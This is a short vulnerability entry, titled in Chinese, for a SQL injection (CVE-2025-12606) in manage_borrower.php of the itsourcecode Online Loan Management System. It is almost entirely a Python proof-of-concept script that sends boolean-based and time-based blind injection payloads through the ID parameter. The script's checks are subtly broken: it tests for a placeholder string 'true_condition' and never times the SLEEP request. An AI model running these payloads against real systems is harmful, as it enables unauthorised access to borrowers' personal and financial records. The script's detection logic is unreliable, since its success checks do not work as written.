CVE-2025-12606: itsourcecode在线贷款管理系统manage_borrower.php SQL注入漏洞

import requests # CVE-2025-12606 PoC - SQL Injection in manage_borrower.php # Target: itsourcecode Online Loan Management System 1.0 target_url = "http://target.com/manage_borrower.php" # SQL Injection payload - Boolean based blind injection # Extract database version information payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" params = { "ID": payload } print("[*] Sending SQL Injection payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.get(target_url, params=params, timeout=10) if "true_condition" in response.text: print("[+] Vulnerability confirmed - SQL Injection successful") else: print("[-] Injection failed or target not vulnerable") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Time-based blind injection payload time_payload = "1' AND SLEEP(5)-- -" params_time = {"ID": time_payload} print("[*] Testing time-based blind injection...") response_time = requests.get(target_url, params=params_time, timeout=15) print("[*] Request completed")